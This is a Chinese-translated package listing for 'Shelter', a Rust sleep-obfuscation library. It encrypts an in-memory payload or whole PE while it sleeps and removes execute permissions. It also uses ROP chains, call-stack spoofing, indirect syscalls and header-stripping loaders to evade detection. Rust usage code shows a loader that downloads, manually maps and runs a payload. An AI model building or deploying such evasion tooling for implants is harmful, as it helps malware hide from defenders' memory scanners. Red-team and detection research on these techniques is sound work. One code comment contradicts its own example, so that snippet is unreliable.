2个不稳定版本
0.1.0 | 2024年2月17日 |
---|---|
0.0.0 | 2024年2月14日 |
#395 in 密码学
每月49次下载
68KB
1K SLoC
避难所
避难所是一种完全武装的sleep混淆技术,它允许你通过大量使用ROP来完全加密内存中的有效负载。
该软件包具有以下特性
- AES-128加密。
- 整个PE加密功能。
- 睡眠时移除执行权限。
- 不使用APC/HWBP/计时器,仅使用ROP来实现混淆。
- 使用Unwinder在执行ROP链之前实现调用堆栈欺骗。
- 不同的执行方法以适应各种情况。
- 其他OPSEC考虑:DInvoke_rs、间接系统调用、字符串字面量加密等。
内容
用法
通过在您的cargo.toml
文件中添加以下行将此软件包导入到您的项目中:
[dependencies]
shelter = "0.1.0"
然后,在--release
模式下编译您的项目。
此软件包的主要功能已封装在三个函数中
波动()
允许加密当前内存区域或整个PE。此函数需要PE的MZ字节以动态检索其基本地址。从地址波动()
完全加密PE。此函数期望输入参数为PE的基本地址。从模式波动()
也完全加密PE。此函数期望输入参数为用于确定PE基本地址的自定义字节集。这些自定义魔法字节替换了经典的MZ模式。
当整个PE被加密时,原始部分的内存保护将存储在堆中,以便之后恢复。
避难所使用NtWaitForSingleObject来睡眠。除了指示您想要睡眠多少秒外,您还可以传递一个事件句柄,并在任何时间对其进行信号以在超时之前返回(例如,使用SetEvent)。请注意,如果您已经加密了整个有效负载(我认为这是主要目的),则需要一种替代方法来在无限期睡眠的情况下触发事件。
示例
波动
该函数期望以下参数
- 一个布尔值,表示是否加密整个PE文件或仅当前内存区域。传递
true
需要在内存中存在MZ字节。 - 程序将休眠的秒数。如果设置为
None
,超时将是无限的,这意味着执行将不会返回,直到传递给NtWaitForSingleObject的事件被信号。 - 传递给NtWaitForSingleObject的事件句柄。此参数可以是
None
。如果同时将此参数和超时都设置为None
,程序将卡住。
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt only the current memory region
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt the whole PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Sleep indefinitely
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Encrypt the whole PE until the event is signaled
从地址波动
该函数期望以下参数
- 程序将休眠的秒数。如果设置为
None
,超时将是无限的,这意味着执行将不会返回,直到传递给NtWaitForSingleObject的事件被信号。 - 传递给NtWaitForSingleObject的事件句柄。此参数可以是
None.
如果同时设置此参数和超时为None
,程序将卡住。 - 映射PE的基址。
使用此函数的一种方法是手动使用 Dinvoke_rs
映射我们的有效载荷。这样,加载程序可以将自己的基址发送给有效载荷,然后有效载荷可以在需要时使用它来混淆自己。这样,加载程序可以安全地删除PE的头部以实现一定程度的隐秘性。
加载程序示例
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
有效载荷示例
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Encrypt the entire PE from this specific base address
...
}
从模式波动
该函数期望以下参数
- 程序将休眠的秒数。如果设置为
None
,超时将是无限的,这意味着执行将不会返回,直到传递给NtWaitForSingleObject的事件被信号。 - 传递给NtWaitForSingleObject的事件句柄。此参数可以是
None
。如果同时设置此参数和超时为None
,程序将卡住。 - 一个包含用于获取PE基址的自定义魔数字节的
[u8;2]
数组。
创建此函数的目的是允许加载程序删除PE的头部和其他签名,包括经典的MZ字节。这样,这些字节可以被Shelter将用于检索PE基址的自定义模式所替换。
let time_to_sleep = Some(10); // Sleep for 10 seconds
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Encrypt the whole PE using custom pattern as magic bytes
待办事项
尽管Shelter已准备好使用,并且它是考虑到OPSEC而开发的,但未来还将添加一些增强功能。
- 在加密整个PE时减少熵。
- 用相应的Nt函数替换
BCryptEncrypt/
BCryptDecrypt
。 - 在选件选择过程中添加一些随机性。
依赖项
~134MB
~2M SLoC